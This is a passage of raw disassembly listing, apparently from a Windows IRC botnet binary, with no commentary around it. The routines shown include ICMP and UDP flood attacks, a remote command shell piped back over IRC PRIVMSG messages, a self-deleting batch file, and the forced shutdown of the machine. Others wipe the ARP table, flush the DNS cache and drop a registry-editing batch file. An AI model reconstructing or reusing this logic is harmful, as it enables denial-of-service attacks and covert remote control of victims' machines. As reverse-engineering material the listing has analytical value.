sub_409D4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409DF3	proc near		; CODE XREF: sub_40CE55+13B6p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43A2E0	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409E15	proc near		; CODE XREF: sub_40BCEF+472p
					; sub_40CE55+5405p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42C198, esi
		push	edi
		jz	short loc_409E39
		cmp	dword_43A468, esi
		jnz	short loc_409E39
		push	esi
		call	sub_40B3AE
		pop	ecx

loc_409E39:				; CODE XREF: sub_409E15+13j
					; sub_409E15+1Bj
		call	sub_41515C
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4210F8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_409F99
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_438FBC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409F41
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA

loc_409F41:				; CODE XREF: sub_409E15+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4210F0	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC	; CreateProcessA

loc_409F99:				; CODE XREF: sub_409E15+72j
		pop	edi
		pop	esi
		leave
		retn
sub_409E15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F9D	proc near		; CODE XREF: sub_40C682+31p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415D70
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA1c_bat ; "c:\\a1c.bat"
		push	eax
		movsb
		call	sub_4154E7
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_40A057
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	dword_421070	; WriteFile
		push	edi
		call	dword_42106C	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC	; CreateProcessA

loc_40A057:				; CODE XREF: sub_409F9D+55j
		pop	edi
		pop	esi
		leave
		retn
sub_409F9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A05B	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A083
		push	[esp+arg_0]
		call	dword_43A41C	; gethostbyname
		test	eax, eax
		jnz	short loc_40A07C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40A07C:				; CODE XREF: sub_40A05B+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A083:				; CODE XREF: sub_40A05B+Dj
		retn
sub_40A05B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A084	proc near		; CODE XREF: sub_40CB75+D6p
		mov	ecx, dword_43A2C0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A092
		call	ecx	; DnsFlushResolverCache

locret_40A092:				; CODE XREF: sub_40A084+Aj
		retn
sub_40A084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A093	proc near		; CODE XREF: sub_40CE55:loc_411F8Cp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43A414	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A159
		sub	ecx, 32h
		jz	loc_40A152
		sub	ecx, 48h
		jz	short loc_40A0F3
		sub	ecx, 6Eh
		jz	short loc_40A0EC

loc_40A0D5:				; CODE XREF: sub_40A093+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B428
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	short loc_40A133
; ---------------------------------------------------------------------------

loc_40A0EC:				; CODE XREF: sub_40A093+40j
		push	offset unk_42B3F0
		jmp	short loc_40A125
; ---------------------------------------------------------------------------

loc_40A0F3:				; CODE XREF: sub_40A093+3Bj
		push	[ebp+var_8]
		call	sub_415DC9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415570
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A120
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43A414	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40A159
		jmp	short loc_40A0D5
; ---------------------------------------------------------------------------

loc_40A120:				; CODE XREF: sub_40A093+79j
		push	offset unk_42B3AC

loc_40A125:				; CODE XREF: sub_40A093+5Ej
					; sub_40A093+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40A133:				; CODE XREF: sub_40A093+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B16D
		pop	ecx

loc_40A143:				; CODE XREF: sub_40A093+C8j
					; sub_40A093+DCj
		push	esi
		call	sub_415E3D
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40A152:				; CODE XREF: sub_40A093+32j
		push	offset unk_42B368
		jmp	short loc_40A125
; ---------------------------------------------------------------------------

loc_40A159:				; CODE XREF: sub_40A093+29j
					; sub_40A093+89j
		cmp	[esi], edi
		jbe	short loc_40A143
		lea	ebx, [esi+4]

loc_40A160:				; CODE XREF: sub_40A093+DAj
		push	ebx
		call	dword_43A410	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A160
		jmp	short loc_40A143
sub_40A093	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A171	proc near		; CODE XREF: sub_401447+243p
					; sub_401BD6+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A33C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43A6CC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4154E7
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A171	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1CA	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40A1F3
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40A1E6:				; CODE XREF: sub_40A1CA+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A1E6
		pop	edi
		jmp	short loc_40A1F7
; ---------------------------------------------------------------------------

loc_40A1F3:				; CODE XREF: sub_40A1CA+Aj
		mov	edx, [esp+4+arg_0]

loc_40A1F7:				; CODE XREF: sub_40A1CA+27j
		test	esi, esi
		pop	esi
		jz	short loc_40A201
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40A201:				; CODE XREF: sub_40A1CA+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A1CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A217	proc near		; DATA XREF: sub_40CE55+2D34o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43A324	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A272
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43A41C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40A278

loc_40A272:				; CODE XREF: sub_40A217+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40A2D5

loc_40A278:				; CODE XREF: sub_40A217+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B4AC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A2B8
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412D4C
		add	esp, 14h

loc_40A2B8:				; CODE XREF: sub_40A217+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread

loc_40A2D5:				; CODE XREF: sub_40A217+5Fj
		cmp	eax, ebx
		jz	short loc_40A2E5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------

loc_40A2E5:				; CODE XREF: sub_40A217+C0j
		mov	[ebp+var_4], esi

loc_40A2E8:				; CODE XREF: sub_40A217+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_415570
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40A308
		mov	[ebp+var_3C], eax

loc_40A308:				; CODE XREF: sub_40A217+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40A310
		mov	[ebp+var_38], edi

loc_40A310:				; CODE XREF: sub_40A217+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40A33D

loc_40A317:				; CODE XREF: sub_40A217+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43A2BC	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40A317

loc_40A33D:				; CODE XREF: sub_40A217+FEj
		push	[ebp+arg_0]
		call	dword_43A450	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B46C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40A386
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_412D4C
		add	esp, 14h

loc_40A386:				; CODE XREF: sub_40A217+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40A217	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3A3	proc near		; DATA XREF: sub_40CE55+2E7Bo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43A418	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40A488
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43A41C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40A481
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B528
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A464
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D4C
		add	esp, 14h

loc_40A464:				; CODE XREF: sub_40A3A3+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B16D
		push	[ebp+var_20]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_40A481:				; CODE XREF: sub_40A3A3+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40A48B
; ---------------------------------------------------------------------------

loc_40A488:				; CODE XREF: sub_40A3A3+6Ej
		lea	eax, [ebp+arg_0]

loc_40A48B:				; CODE XREF: sub_40A3A3+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40A4A6
		call	sub_415543
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A4A9
; ---------------------------------------------------------------------------

loc_40A4A6:				; CODE XREF: sub_40A3A3+F0j
		push	[ebp+var_24]

loc_40A4A9:				; CODE XREF: sub_40A3A3+101j
		call	dword_43A398	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40A4BB
		mov	[ebp+var_24], esi

loc_40A4BB:				; CODE XREF: sub_40A3A3+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40A4C8
		mov	[ebp+var_24], eax

loc_40A4C8:				; CODE XREF: sub_40A3A3+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40A4DC
		mov	[ebp+var_28], esi

loc_40A4DC:				; CODE XREF: sub_40A3A3+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40A4FD

loc_40A4E3:				; CODE XREF: sub_40A3A3+158j
		call	sub_415543
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A4E3

loc_40A4FD:				; CODE XREF: sub_40A3A3+13Ej
					; sub_40A3A3+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40A55C
		push	0Bh
		pop	esi

loc_40A50A:				; CODE XREF: sub_40A3A3+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43A3FC	; sendto
		push	[ebp+var_28]
		call	dword_421060	; Sleep
		dec	esi
		jnz	short loc_40A50A
		cmp	[ebp+var_24], edi
		jnz	short loc_40A4FD
		call	sub_415543
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43A398	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_40A4FD
; ---------------------------------------------------------------------------

loc_40A55C:				; CODE XREF: sub_40A3A3+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B4E8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A59C
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D4C
		add	esp, 14h

loc_40A59C:				; CODE XREF: sub_40A3A3+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B16D
		push	[ebp+var_20]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40A3A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A5B9	proc near		; CODE XREF: sub_40A5E9+2Ap
					; sub_40A621+7Ep ...
		mov	eax, dword_43A6E4
		push	esi
		mov	esi, dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5CD
		push	eax
		call	esi	; CloseHandle

loc_40A5CD:				; CODE XREF: sub_40A5B9+Fj
		mov	eax, dword_43A6EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5DA
		push	eax
		call	esi	; CloseHandle

loc_40A5DA:				; CODE XREF: sub_40A5B9+1Cj
		mov	eax, dword_43A6E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5E7
		push	eax
		call	esi	; CloseHandle

loc_40A5E7:				; CODE XREF: sub_40A5B9+29j
		pop	esi
		retn
sub_40A5B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5E9	proc near		; CODE XREF: sub_40B551+14Ap
					; sub_40CE55+4507p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43A6E8
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_40A61C
		call	sub_40A5B9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40A61C:				; CODE XREF: sub_40A5E9+28j
		push	1
		pop	eax
		leave
		retn
sub_40A5E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A621	proc near		; CODE XREF: sub_40A6A8+D3p
					; sub_40A6A8+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_438FBC
		push	[ebp+arg_4]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A664
		push	7D0h
		call	dword_421060	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_40A67B
; ---------------------------------------------------------------------------

loc_40A664:				; CODE XREF: sub_40A621+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40A67B:				; CODE XREF: sub_40A621+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		test	eax, eax
		jg	short loc_40A6A4
		call	sub_40A5B9

loc_40A6A4:				; CODE XREF: sub_40A621+7Cj
		xor	eax, eax
		leave
		retn
sub_40A621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A8	proc near		; DATA XREF: sub_40A7FD+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43A6F0

loc_40A6C0:				; CODE XREF: sub_40A6A8+79j
					; sub_40A6A8+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43A6E4
		call	dword_4210FC	; PeekNamedPipe
		test	eax, eax
		jz	loc_40A78E
		cmp	[ebp+var_4], edi
		jnz	short loc_40A723
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43A6E0
		call	dword_421000	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40A719
		cmp	[ebp+var_8], 103h
		jnz	loc_40A7B2

loc_40A719:				; CODE XREF: sub_40A6A8+62j
		push	0Ah
		call	dword_421060	; Sleep
		jmp	short loc_40A6C0
; ---------------------------------------------------------------------------

loc_40A723:				; CODE XREF: sub_40A6A8+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40A73A

loc_40A72A:				; CODE XREF: sub_40A6A8+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40A788
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40A72A

loc_40A73A:				; CODE XREF: sub_40A6A8+80j
		mov	[ebp+var_4], esi

loc_40A73D:				; CODE XREF: sub_40A6A8+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43A6E4
		call	dword_421068	; ReadFile
		test	eax, eax
		jz	short loc_40A7DA
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43A724
		call	sub_40A621
		add	esp, 0Ch
		jmp	loc_40A6C0
; ---------------------------------------------------------------------------

loc_40A788:				; CODE XREF: sub_40A6A8+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40A73D
; ---------------------------------------------------------------------------

loc_40A78E:				; CODE XREF: sub_40A6A8+45j
		push	offset dword_42B5F4
		push	ebx
		push	dword_43A724
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	1
		call	dword_421048	; ExitThread

loc_40A7B2:				; CODE XREF: sub_40A6A8+6Bj
		call	sub_40A5B9
		push	offset dword_42B5B8
		push	ebx
		push	dword_43A724
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread

loc_40A7DA:				; CODE XREF: sub_40A6A8+C3j
		push	offset dword_42B574
		push	ebx
		push	dword_43A724
		call	sub_40A621
		push	[ebp+arg_0]
		call	sub_4152AF
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread
sub_40A6A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7FD	proc near		; CODE XREF: sub_40B551+99p
					; sub_40CE55+51BFp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40A5B9
		xor	esi, esi
